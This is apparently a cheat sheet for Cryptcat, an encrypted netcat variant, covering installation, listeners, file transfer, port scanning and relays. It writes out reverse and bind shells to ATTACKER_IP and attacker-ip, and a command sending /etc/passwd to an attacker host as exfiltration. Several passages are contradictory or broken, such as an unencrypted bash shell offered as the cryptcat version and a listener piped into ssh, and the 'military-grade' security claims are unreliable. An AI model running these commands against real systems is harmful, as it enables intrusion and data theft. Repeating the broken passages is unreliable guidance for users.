コンテンツにスキップ

Cryptcat

Cryptcat is an enhanced version of netcat (nc) that adds Twofish encryption to network communications. It provides encrypted network communication, secure file transfers, and encrypted reverse/bind shells for penetration testers and security professionals. Cryptcat maintains the simplicity of netcat while adding military-grade encryption to protect sensitive data in transit.

  • Linux/Unix/macOS system
  • GCC or Clang compiler
  • OpenSSL development libraries
wget https://sourceforge.net/projects/cryptcat/files/cryptcat/1.2.1/cryptcat1.2.1.tar.gz
tar -xzvf cryptcat1.2.1.tar.gz
cd cryptcat
./configure
make
sudo make install
sudo apt-get update
sudo apt-get install cryptcat
brew install cryptcat
git clone https://github.com/cryptcat/cryptcat.git
cd cryptcat
make
sudo cp cryptcat /usr/local/bin/
cryptcat -h
cryptcat -V
FeatureNetcatCryptcat
EncryptionNoneTwofish
Data TransferPlaintextEncrypted
Port BindingYesYes
ListeningYesYes
Reverse ShellsYes (unencrypted)Yes (encrypted)
File TransferYes (plaintext)Yes (encrypted)
PerformanceFastSlightly slower (encryption)
CommandDescription
cryptcat -l -p <port>Listen on port
cryptcat <host> <port>Connect to host
cryptcat -l -p <port> < fileListen and send file
cryptcat <host> <port> > fileConnect and receive file
cryptcat -hShow help
cryptcat -e /bin/bash -l -p <port>Bind shell listener
cryptcat -l -p 4444

Listens for incoming encrypted connections on port 4444.

cryptcat -l -p 4444 127.0.0.1

Listen only on localhost.

cryptcat -l -p 4444 0.0.0.0

Accept connections from any interface.

timeout 60 cryptcat -l -p 4444

Listen for 60 seconds, then exit.

while true; do cryptcat -l -p 4444 < /dev/null; done

Restart listener after each connection.

cryptcat 192.168.1.100 4444

Connect to Cryptcat listener at target IP and port.

timeout 30 cryptcat 192.168.1.100 4444

Connection times out after 30 seconds of inactivity.

echo "test message" | cryptcat 192.168.1.100 4444

Send message and close connection.

cryptcat -l -p 4444

Wait for incoming connection with shell.

/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Send bash shell to attacker, but use cryptcat instead:

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

On attacker machine:

cryptcat -l -p 4444

On target machine (via RCE or vulnerability):

cryptcat ATTACKER_IP 4444 -e /bin/bash

This sends an encrypted shell to the attacker.

Target:

/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &

Then connect with:

cryptcat ATTACKER_IP 4444
cryptcat -l -p 4444 -e /bin/bash

Listen on port 4444 and execute bash shell upon connection.

cryptcat target-ip 4444

Connect and get shell access.

cryptcat -l -p 5555 -e /bin/sh

Use sh instead of bash.

cryptcat -l -p 4444 -e /bin/bash

Automatically spawns shell for each connection.

Server (listener):

cryptcat -l -p 4444 < /path/to/file.txt

Client (receiver):

cryptcat server-ip 4444 > received-file.txt

Server (listener):

cryptcat -l -p 4444 > received-file.txt

Client (sender):

cryptcat server-ip 4444 < /path/to/file.txt

Server sending:

cat large-file.bin | cryptcat -l -p 4444

Client receiving:

cryptcat server-ip 4444 > large-file.bin

After transfer:

md5sum original-file
md5sum received-file

Compare checksums to verify integrity.

Server:

tar czf - /path/to/directory | cryptcat -l -p 4444

Client:

cryptcat server-ip 4444 | tar xzf -

Transfer entire directory encrypted and compressed.

cryptcat -z -v target-ip 80

Test if port 80 is open (banner detection with encryption).

cryptcat -z target-ip 1-1000

Scan ports 1-1000.

cryptcat -z -v target-ip 80-443

Verbose output for ports 80-443.

cryptcat -w 2 -z target-ip 1-65535

2-second timeout for each port.

cryptcat -u -l -p 4444

Listen on UDP port.

cryptcat -u target-ip 4444

Connect via UDP.

cryptcat -v -l -p 4444

Show detailed connection information.

cryptcat -vv -l -p 4444

Even more detailed output.

cryptcat -w 5 target-ip 4444

5-second inactivity timeout.

cryptcat -p 12345 target-ip 4444

Connect from source port 12345.

cryptcat -i 1 target-ip 4444

1-second interval null input.

Setup redirection:

cryptcat -l -p 8888 -e "cryptcat target-ip 80"

Redirect incoming port 8888 to remote port 80 (both encrypted).

cryptcat -l -p 3128 -e "cryptcat internal-server 80"

Create proxy listener on port 3128 forwarding to internal server.

User 1 (Server):

cryptcat -l -p 4444

User 2 (Client):

cryptcat user1-ip 4444

Both can type and communicate securely.

Send message:

echo "Secure message" | cryptcat recipient-ip 4444
  • Algorithm: Twofish (128-bit block size)
  • Key size: 256 bits
  • Security: Military-grade encryption
  • Mode: Default stream cipher

Cryptcat uses default encryption parameters:

  • No explicit key exchange protocol
  • Uses built-in Twofish implementation
  • Automatic key derivation
tar cf - /data | gzip | cryptcat -l -p 4444

Send compressed, encrypted archive.

Server:

dd if=/dev/sda | cryptcat -l -p 4444

Client:

cryptcat server-ip 4444 | dd of=backup.img

Transfer encrypted disk image.

cryptcat -l -p 4444 -e "bash -i"

Send command output through encrypted channel.

cryptcat -l -p 4444 | ssh user@localhost

Pipe encrypted connection to SSH.

# Verify listener is running
netstat -tuln | grep 4444

# Check firewall
sudo iptables -L -n | grep 4444
# Use sudo for privileged ports
sudo cryptcat -l -p 80
# Find process using port
lsof -i :4444

# Use different port
cryptcat -l -p 5555
# Increase wait time
cryptcat -w 30 target-ip 4444
# Use timeout command
timeout 10 cryptcat target-ip 4444
# Create SSH tunnel first
ssh -L 4444:target-ip:4444 jump-host

# Then use Cryptcat locally
cryptcat localhost 4444
# Watch network activity
tcpdump -i eth0 port 4444
  • Store scripts in protected directories
  • Use file permissions: chmod 700 script.sh
  • Never log sensitive communications
# Log connections
cryptcat -v -l -p 4444 2>&1 | tee access.log

Attacker:

cryptcat -l -p 4444

Target:

cryptcat attacker-ip 4444 -e /bin/bash

Target:

cat /etc/passwd | cryptcat attacker-ip 4444

Attacker:

cryptcat -l -p 4444 > exfiltrated-data.txt
echo "whoami" | cryptcat target-ip 4444

Attacker:

cryptcat -l -p 4444

Target:

/bin/bash -i 2>&1 | cryptcat attacker-ip 4444
cryptcat -l -p 4444 # Default buffer
cryptcat -u -l -p 4444  # UDP mode

Use with loop:

(cryptcat -l -p 4444; sleep 1) &
(cryptcat -l -p 4445; sleep 1) &
ToolEncryptionEaseSpeedFeatures
CryptcatYesVery EasyGoodFull Featured
SSHYesMediumGoodFull Featured
NetcatNoVery EasyFastBasic
SocatNoHardGoodAdvanced
  1. Always obtain authorization before any penetration testing
  2. Use strong keys and unique passphrases when possible
  3. Monitor all traffic for anomalies
  4. Log all connections for audit trails
  5. Keep tool updated with latest security patches
  6. Test connections before relying on them
  7. Use with other security tools for defense-in-depth
  • No explicit authentication (relies on port security)
  • No key exchange mechanism (uses default Twofish)
  • Simpler than modern TLS/SSH implementations
  • Best for internal networks and authorized testing

Cryptcat is for authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain explicit written permission before conducting security assessments. Use only in controlled environments with proper authorization.